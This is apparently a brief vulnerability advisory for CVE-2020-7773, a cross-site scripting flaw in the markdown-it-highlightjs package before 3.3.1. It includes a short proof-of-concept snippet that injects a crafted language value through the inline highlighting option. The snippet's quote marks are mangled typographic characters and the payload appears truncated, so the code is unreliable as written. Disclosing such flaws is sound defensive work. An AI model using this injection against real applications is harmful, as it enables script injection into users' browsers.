CVE-2020-7773

This affects the package markdown-it-highlightjs before 3.3.1.
It is possible insert malicious JavaScript as a value of lang in the markdown-it-highlightjs Inline code highlighting feature.

const markdownItHighlightjs = require(«markdown-it-highlightjs»);
const md = require(‘markdown-it’);

const reuslt_xss = md()
.use(markdownItHighlightjs, { inline: true })
.render(‘console.log(42){.»>js}’);

console.log(reuslt_xss);